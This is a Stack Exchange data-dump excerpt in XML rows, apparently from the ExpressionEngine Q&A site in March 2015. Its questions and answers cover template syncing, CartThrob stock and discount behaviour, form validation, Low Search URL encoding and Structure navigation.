  <row Id="30639" PostTypeId="1" CreationDate="2015-03-20T20:28:00.683" Score="0" ViewCount="79" Body="&lt;p&gt;I have a site with a lot of templates. Some are edited right from the control panel, but some are edited from ftp by &quot;save as file&quot;. I like to keep a bit of revision history, so that if I accidentally delete something in a template, I can easily restore it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often I'll work on a template remotely, and then when I'm done what I'm working on, go find it in the CP, and update it, so that it syncs with the database, and also so that it saves a revision. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just recently I came across Design &gt; Templates &gt; Synchronize templates. That page shows that some of my templates are up-to-date, but some are not. Is there any reason that it would be harmful to just select &quot;sync all&quot;? I can't think of why there would be, but then why doesn't it just sync automatically when you save the template remotely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm assuming that syncing a template from that page doesn't add it to the revision history, correct?&lt;/p&gt;&#xA;" OwnerUserId="3607" LastActivityDate="2015-03-20T22:29:17.790" Title="Any reason not to sync templates to database?" Tags="|templates|sync|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30640" PostTypeId="2" ParentId="30634" CreationDate="2015-03-20T21:33:50.077" Score="0" Body="&lt;p&gt;For the meantime, i commented out the following lines at third_party/cartthrob/drivers/core/Cartthrob_core_ee.php and it did the trick. We don't use discounts anyway :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//formerly process_coupon_codes&#xA;public function process_discounts()&#xA;{&#xA;/*&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('discount_model');&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('coupon_code_model');&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;discount_model-&amp;gt;process_discounts();&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;coupon_code_model-&amp;gt;process_coupon_codes();&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hoping someong can provide a better solution, but this will do for now.&lt;/p&gt;&#xA;" OwnerUserId="6148" LastEditorUserId="6148" LastEditDate="2015-03-21T17:06:08.217" LastActivityDate="2015-03-21T17:06:08.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30641" PostTypeId="2" ParentId="30638" CreationDate="2015-03-20T21:56:39.103" Score="1" Body="&lt;p&gt;They should be the field name you gave your file field which you said was &lt;code&gt;{sermon_file}&lt;/code&gt;. Or you could always just replace all that with &lt;code&gt;{field:sermon_file}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;sermon_file&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;sermon_file_directory&quot; value=&quot;1&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;sermon_file_hidden_file&quot; value=&quot;{sermon_file}{file_name}{/sermon_file}&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/.form-group--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-20T21:56:39.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30642" PostTypeId="1" CreationDate="2015-03-20T22:06:26.207" Score="0" ViewCount="82" Body="&lt;p&gt;Maybe I'm overseeing this, but I can't see to work it out.&#xA;Customer asks me if it's possible to add items to the cart even if there's no stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment an error is generated, saying out of stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea if this is somehow possible? &lt;/p&gt;&#xA;" OwnerUserId="6152" LastActivityDate="2016-05-28T17:11:54.123" Title="Order when item is out of stock" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30643" PostTypeId="2" ParentId="30639" CreationDate="2015-03-20T22:29:17.790" Score="1" Body="&lt;p&gt;It shouldn't be harmful to perform the sync. The worst thing that could happen is that ExpressionEngine doesn't recognize which of the two versions are more recent and syncs them the wrong direction. This might have happened to me many years a go very early on in version 2. &#xA;I would however argue that it can be harmful NOT to perform an occasional sync. Reason being is that if the actual files are inaccessible, ExpressionEngine falls back to the version stored in the database.&#xA;As far as revision history goes, syncing doesn't update it (as far as I can remember). The proper way is to do file based development and use git to version control your changes. But I realize budgets sometimes lead to cowboy development :)&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-03-20T22:29:17.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30644" PostTypeId="2" ParentId="30642" CreationDate="2015-03-20T22:39:00.213" Score="0" Body="&lt;p&gt;The only way that you are going to be able to do this is by unticking the &quot;Track Stock&quot; checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click the Track Stock button you are telling CartThrob I only have &quot;X&quot; amount of items so it is going to only allow you to sell &quot;X&quot; amount of items.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-03-20T23:27:05.907" LastActivityDate="2015-03-20T23:27:05.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30645" PostTypeId="2" ParentId="30632" CreationDate="2015-03-20T22:46:15.007" Score="0" Body="&lt;p&gt;I misread Low events documentation.&#xA;The lang parameter is to be used in the variable and not in the low events tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{myfield:start_date lang=&quot;{publisher:current_language_code}&quot;}&lt;/code&gt; works perfectly.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-03-20T22:46:15.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30646" PostTypeId="2" ParentId="28910" CreationDate="2015-03-20T23:21:01.980" Score="1" Body="&lt;p&gt;I had the same problem after updating Wygwam from 3.2.2 to 3.3.3 on EE 2.7.3.  I found that it's a browser cache issue.  After clearing out the cache, the icons were back. &lt;/p&gt;&#xA;" OwnerUserId="6153" LastActivityDate="2015-03-20T23:21:01.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30647" PostTypeId="2" ParentId="26301" CreationDate="2015-03-21T00:17:51.703" Score="0" Body="&lt;p&gt;Do can do a custom report and have it format it exactly then way you want. I do this and use the http_header add-on to generate an cvs that downloads at the click of a button and gets imported into Xero. The other advantage is that your client does not have to select all those report options each time they want to generate a report.&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2015-03-21T00:17:51.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30648" PostTypeId="1" CreationDate="2015-03-21T00:22:11.367" Score="0" ViewCount="52" Body="&lt;p&gt;The default low stock email template only output the product ID number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried {title} in that template, but it does not get parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2015-08-13T21:53:36.257" Title="Get the product name {title} in the low stock email?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30650" PostTypeId="1" CreationDate="2015-03-21T10:48:37.170" Score="0" ViewCount="296" Body="&lt;p&gt;This is my first post here, so be gentle.  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel form that utilizes a javascript (sliding.form.js) to assist with per-fieldset validation.  If I group all my form questions into diff fieldsets, when a user clicks a different &quot;tab&quot;, it validates that the fields required have content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tympanus.net/codrops/2010/06/07/fancy-sliding-form-with-jquery/&quot; rel=&quot;nofollow&quot;&gt;http://tympanus.net/codrops/2010/06/07/fancy-sliding-form-with-jquery/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This form works just fine when I utilize a standard &quot;&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;formElem&quot; name=&quot;formElem&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, if I change the form to EE code, the &quot;per fieldset&quot; validation goes all wonky-like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form include_jquery=&quot;no&quot; class=&quot;new_customer&quot; id=&quot;formElem&quot; error_handling=&quot;inline&quot; name=&quot;formElem&quot; channel=&quot;pets&quot; logged_out_member_id=&quot;1&quot; status=&quot;Pending&quot; return=&quot;pet/review_submit_thanks&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript in question is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;    /*&#xA;    number of fieldsets&#xA;    */&#xA;    var fieldsetCount = $('#formElem').children().length;&#xA;&#xA;    /*&#xA;    current position of fieldset / navigation link&#xA;    */&#xA;    var current     = 1;&#xA;&#xA;    /*&#xA;    sum and save the widths of each one of the fieldsets&#xA;    set the final sum as the total width of the steps element&#xA;    */&#xA;    var stepsWidth  = 0;&#xA;    var widths      = new Array();&#xA;    $('#steps .step').each(function(i){&#xA;        var $step       = $(this);&#xA;        widths[i]       = stepsWidth;&#xA;        stepsWidth      += $step.width();&#xA;    });&#xA;    $('#steps').width(stepsWidth);&#xA;&#xA;    /*&#xA;    to avoid problems in IE, focus the first input of the form&#xA;    */&#xA;    $('#formElem').children(':first').find(':input:first').focus(); &#xA;&#xA;    /*&#xA;    show the navigation bar&#xA;    */&#xA;    $('#navigation').show();&#xA;&#xA;    /*&#xA;    when clicking on a navigation link &#xA;    the form slides to the corresponding fieldset&#xA;    */&#xA;    $('#navigation a').bind('click',function(e){&#xA;        var $this   = $(this);&#xA;        var prev    = current;&#xA;        $this.closest('ul').find('li').removeClass('selected');&#xA;        $this.parent().addClass('selected');&#xA;        /*&#xA;        we store the position of the link&#xA;        in the current variable &#xA;        */&#xA;        current = $this.parent().index() + 1;&#xA;        /*&#xA;        animate / slide to the next or to the corresponding&#xA;        fieldset. The order of the links in the navigation&#xA;        is the order of the fieldsets.&#xA;        Also, after sliding, we trigger the focus on the first &#xA;        input element of the new fieldset&#xA;        If we clicked on the last link (confirmation), then we validate&#xA;        all the fieldsets, otherwise we validate the previous one&#xA;        before the form slided&#xA;        */&#xA;        $('#steps').stop().animate({&#xA;            marginLeft: '-' + widths[current-1] + 'px'&#xA;        },500,function(){&#xA;            if(current == fieldsetCount)&#xA;                validateSteps();&#xA;            else&#xA;                validateStep(prev);&#xA;            $('#formElem').children(':nth-child('+ parseInt(current) +')').find(':input:first').focus();    &#xA;        });&#xA;        e.preventDefault();&#xA;    });&#xA;&#xA;    /*&#xA;    clicking on the tab (on the last input of each fieldset), makes the form&#xA;    slide to the next step&#xA;    */&#xA;    $('#formElem &amp;gt; fieldset').each(function(){&#xA;        var $fieldset = $(this);&#xA;        $fieldset.children(':last').find(':input').keydown(function(e){&#xA;            if (e.which == 9){&#xA;                $('#navigation li:nth-child(' + (parseInt(current)+1) + ') a').click();&#xA;                /* force the blur for validation */&#xA;                $(this).blur();&#xA;                e.preventDefault();&#xA;            }&#xA;        });&#xA;    });&#xA;&#xA;    /*&#xA;    validates errors on all the fieldsets&#xA;    records if the Form has errors in $('#formElem').data()&#xA;    */&#xA;    function validateSteps(){&#xA;        var FormErrors = false;&#xA;        for(var i = 1; i &amp;lt; fieldsetCount; ++i){&#xA;            var error = validateStep(i);&#xA;            if(error == -1)&#xA;                FormErrors = true;&#xA;        }&#xA;        $('#formElem').data('errors',FormErrors);   &#xA;    }&#xA;&#xA;    /*&#xA;    validates one fieldset&#xA;    and returns -1 if errors found, or 1 if not&#xA;    */&#xA;    function validateStep(step){&#xA;        if(step == fieldsetCount) return;&#xA;&#xA;        var error = 1;&#xA;        var hasError = false;&#xA;        $('#formElem').children(':nth-child('+ parseInt(step) +')').find(':input:not(button)').each(function(){&#xA;            var $this       = $(this);&#xA;            var valueLength = jQuery.trim($this.val()).length;&#xA;&#xA;            if(valueLength == ''){&#xA;                hasError = true;&#xA;                $this.css('background-color','#FFEDEF');&#xA;            }&#xA;            else&#xA;                $this.css('background-color','#FFFFFF');    &#xA;        });&#xA;        var $link = $('#navigation li:nth-child(' + parseInt(step) + ') a');&#xA;        $link.parent().find('.error,.checked').remove();&#xA;&#xA;        var valclass = 'checked';&#xA;        if(hasError){&#xA;            error = -1;&#xA;            valclass = 'error';&#xA;        }&#xA;        $('&amp;lt;span class=&quot;'+valclass+'&quot;&amp;gt;&amp;lt;/span&amp;gt;').insertAfter($link);&#xA;&#xA;        return error;&#xA;    }&#xA;&#xA;    /*&#xA;    if there are errors don't allow the user to submit&#xA;    */&#xA;    $('#registerButton').bind('click',function(){&#xA;        if($('#formElem').data('errors')){&#xA;            alert('Please correct the errors in the Form');&#xA;            return false;&#xA;        }   &#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2015-03-21T10:48:37.170" Title="Javascript form validation not working with channel from" Tags="|safecracker|jquery|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30651" PostTypeId="1" AcceptedAnswerId="31115" CreationDate="2015-03-21T14:28:50.240" Score="0" ViewCount="31" Body="&lt;p&gt;I have a plugin that outputs a value, which I &lt;strong&gt;&lt;em&gt;think&lt;/em&gt;&lt;/strong&gt; I need to pass as an embed variable as I need to use that value as a parameter when calling the plugin again from within the embed. Here's the basic structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_plugin)&#xA;     {embed=&quot;foo/bar&quot; my_plugin_value=&quot;{some_value_from_my_plugin}&quot;}&#xA;{/exp:my_plugin)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the embedded template, &lt;code&gt;{embed:my_plugin_value}&lt;/code&gt; is empty. I have double checked to make sure the value is indeed set before calling the embed. Am I running into parse issues? If so, how do I resolve this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-06-19T22:42:50.013" Title="Parse Order: how to pass a value from PI as an embed variable?" Tags="|templates|parse-order|parsing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30652" PostTypeId="2" ParentId="30651" CreationDate="2015-03-21T15:08:03.960" Score="0" Body="&lt;p&gt;That should work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try testing your parameter logic for your plugin to ensure you're properly retrieving the parameter value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not the issue try passing a string into the embed to see if it's in fact an issue with the embed variable.&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-03-21T15:08:03.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30653" PostTypeId="1" CreationDate="2015-03-21T22:59:28.270" Score="1" ViewCount="1364" Body="&lt;p&gt;I'm attempting to submit lat|long coordinates from a Low Search form. I've got Low Search configured to use GET variables instead of encoding the query. When I submit the search form &lt;strong&gt;the pipe character&lt;/strong&gt; that delimits my lat|long values &lt;strong&gt;is getting converted to &quot;%257C&quot; in the query string&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Low Search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;    query=&quot;{segment_3}&quot;&#xA;    form_id=&quot;home_search&quot;&#xA;}&#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;distance_from&quot; name=&quot;distance:from&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;search&quot; name=&quot;search:organization_name&quot; placeholder=&quot;organization name&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;keyword&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;search&quot; id=&quot;zipcode&quot; name=&quot;zip&quot; placeholder=&quot;zipcode&quot; /&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot;&amp;gt;GO&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;distance:from&lt;/strong&gt; field is being populated by AJAX geocoding response, but the same thing happens when I hardcode a string into the distance:from field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; id=&quot;distance_from&quot; name=&quot;distance:from&quot; value=&quot;30.2966026|-97.9701846&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting URL looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search/results/?distance:from=30.2966026%257C-97.9701846&amp;amp;keywords=foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and the search results page shows a PHP error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined offset: 1&#xA;Filename: distance/lsf.distance.php&#xA;Line Number: 70&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I manually change &quot;%257C&quot; to &quot;|&quot; in the URL the search results page works properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? I've tried adding the pipe character to &lt;strong&gt;$config['permitted_uri_chars']&lt;/strong&gt; but that has no effect on this issue.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2015-03-21T22:59:28.270" Title="Low Search: pipe character in distance:from parameter translates to %257C in GET query string" Tags="|low-search|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30654" PostTypeId="1" CreationDate="2015-03-22T02:32:08.983" Score="0" ViewCount="145" Body="&lt;p&gt;I'm going nuts with this. I'm new to EE and Channel Images and just cant see why this is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gallery page with a bunch of thumbs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;thumbContainer&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;some_images&quot; limit=&quot;20&quot;}&#xA;    {exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;      &amp;lt;div class=&quot;galleryGrid&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;gallery&quot; href=&quot;{url_title_path='portfolio/myview'}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:thumb}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/exp:channel_images:images}&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thumbs link to the main image on another page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;some_images&quot; limit=&quot;1&quot;}&#xA;  &amp;lt;section class=&quot;wrapper&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;backToPortfolio&quot;&amp;gt;&amp;lt;a href=&quot;{path='portfolio/gallery'}&quot;&amp;gt;&amp;lt;span class=&quot;fa fa-angle-double-left&quot;&amp;gt;&amp;lt;/span&amp;gt;Back To Portfolio&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;stage&quot;&amp;gt;&#xA;&#xA;      {exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;img class=&quot;mainImage&quot; src=&quot;{image:url}&quot; alt=&quot;{image:title}&quot; /&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;        &amp;lt;article class=&quot;description&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;{image:title}&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;h6&amp;gt;{image:field:1}&amp;lt;/h6&amp;gt;&#xA;          &amp;lt;p&amp;gt;{image:description}&amp;lt;/p&amp;gt;&#xA;      {/exp:channel_images:images}&#xA;&#xA;      &amp;lt;div class=&quot;imageNavLeft&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='portfolio/myview'}&quot;&amp;gt;&amp;lt;span class=&quot;fa fa-chevron-circle-left&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;imageNavRight&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='portfolio/myview'}&quot;&amp;gt;&amp;lt;span class=&quot;fa fa-chevron-circle-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/article&amp;gt;&#xA;  &amp;lt;/section&amp;gt;    &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No matter which thumb I click on it only ever displays the first gallery image. The 'myview' page displays ok but with the wrong image. Its like url_title_path is not working. Seems like I'm missing something very basic but too tired and not enough knowledge to see it! Frustratingly I had it working perfectly until I involved Channel Images and I broke it somehow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help gratefully appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6155" LastEditorUserId="425" LastEditDate="2015-03-23T06:43:52.140" LastActivityDate="2016-06-16T06:14:14.173" Title="url_title_path not linking correctly" Tags="|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30655" PostTypeId="1" AcceptedAnswerId="30662" CreationDate="2015-03-22T11:41:08.073" Score="0" ViewCount="621" Body="&lt;p&gt;My website is displaying a blank page when incorrect/absent URLs are used. But I would like it to show a 404 page &lt;a href=&quot;http://justfrances.com/home/404&quot; rel=&quot;nofollow&quot;&gt;such as this template I've created&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to set my global template preferences, &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/404pages.html&quot; rel=&quot;nofollow&quot;&gt;as recommended here&lt;/a&gt;, but each time I hit save it reverts back to &quot;none&quot; for the 404 template preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attempted to use codes such as:&#xA;{if no_results}&#xA;{redirect=&quot;404&quot;}&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if no_results OR segment_2!=&quot;&quot;}&#xA;{redirect=&quot;404&quot;}&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and have even changed &quot;404&quot; to a full URL ... All to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and I also created a global variable, {404} using &#xA;{if no_results}&#xA;{redirect=&quot;404&quot;}&#xA;{/if}&#xA;as the content. (Grasping at all straws here!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE and other coding knowledge is very basic, but I can generally understand basic instructions. I've tried searching online for the answer and am coming up blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2015-03-23T17:16:05.877" Title="404 not working; bad URLs show only blank page" Tags="|redirects|404|no-results|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30656" PostTypeId="1" CreationDate="2015-03-22T16:47:48.717" Score="1" ViewCount="61" Body="&lt;p&gt;I’m creating a custom ExpressionEngine extension and I need to add a checkbox. I’m struggling to find the options I need to use for the channel fields API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    'field_name' =&amp;gt; 'business_for_sale',&#xA;    'field_label' =&amp;gt; 'Business For Sale?',&#xA;    'field_type' =&amp;gt; 'checkboxes',&#xA;    'field_order' =&amp;gt; 25,&#xA;    'field_instructions' =&amp;gt; 'Is there a business for sale with the commerical property?',&#xA;    'field_required' =&amp;gt; 'n',&#xA;    'field_search' =&amp;gt; 'y',&#xA;    'field_is_hidden' =&amp;gt; 'n',&#xA;    'field_list_items' =&amp;gt; &quot;Yes&quot;,&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just want either a single checkbox that will act as a boolean (checked is yes, un-checked is no). Alternatively, I would settle for two radios buttons—one representing Yes and one representing No that the administrator could choose.&lt;/p&gt;&#xA;" OwnerUserId="4930" LastActivityDate="2016-06-05T21:58:37.370" Title="Syntax for checkboxes in extension" Tags="|add-on-development|extension|checkbox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30657" PostTypeId="1" AcceptedAnswerId="30658" CreationDate="2015-03-22T17:33:40.887" Score="1" ViewCount="448" Body="&lt;p&gt;The documentation shows how to put a sub-nav on a parent page with children, but how do I display the same sub-nav on the child pages?&#xA;&lt;a href=&quot;http://buildwithstructure.com/documentation/conditionally_display_sub_navigation_or_html/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/conditionally_display_sub_navigation_or_html/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2015-03-22T20:45:44.453" Title="Displaying Structure sub-nav on child pages" Tags="|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30658" PostTypeId="2" ParentId="30657" CreationDate="2015-03-22T19:05:23.963" Score="1" Body="&lt;p&gt;You can use additional or statements to check if you're past or at a certain segment if you want to show it as you go down. Otherwise, sometimes it's easier to use different templates for pages you do or do not want to show it.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2015-03-22T19:05:23.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30659" PostTypeId="2" ParentId="30657" CreationDate="2015-03-22T20:45:44.453" Score="1" Body="&lt;p&gt;I display the menu in an embed with the parent template passing the relevant Entry IDs to display.  So using this conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{structure:child_ids}&quot;}&#xA;    {structure:child_ids}&#xA;{if:else}&#xA;    {exp:structure:entries parent_id=&quot;{structure:parent:entry_id}&quot; backspace=&quot;1&quot;}&#xA;        {entry_id}|&#xA;    {/exp:structure:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If child page exist, render out the entry IDs of the children, otherwise when you're in one of the child pages, get the parents children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting it together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;block-embeds/.hub-nav&quot; menu_entries=&quot;{if &quot;{structure:child_ids}&quot;}{structure:child_ids}{if:else}{exp:structure:entries parent_id=&quot;{structure:parent:entry_id}&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:structure:entries}{/if}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the child template I have this channel entries call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;content&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    fixed_order=&quot;{embed:menu_entries}&quot;&#xA;    disable=&quot;member_data|pagination&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-03-22T20:45:44.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30660" PostTypeId="1" AcceptedAnswerId="30664" CreationDate="2015-03-22T21:54:57.047" Score="0" ViewCount="336" Body="&lt;p&gt;I'm using EE for a basic assessment platform and the questions (entries) are presented to the user need to be in a random order from a fixed list so that the order of questions changes per user. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:ids}&quot; orderby=&quot;random&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This simplified format refreshes the channel:entries loop and results in repeated questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I ensure that the entry_ids sent through the embed aren't repeated as the user paginates through the entries 1 by 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2015-03-23T07:15:15.360" Title="Using Channel entries with orderby=&quot;random&quot; without repeating entry ids" Tags="|entries|orderby|random|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30662" PostTypeId="2" ParentId="30655" CreationDate="2015-03-23T02:01:01.123" Score="0" Body="&lt;p&gt;These settings might be coded up in config.php which would override attempts to change the global template preferences set in the CP. You shouldn't need that global variable, sounds like trouble to me.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2015-03-23T02:01:01.123" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
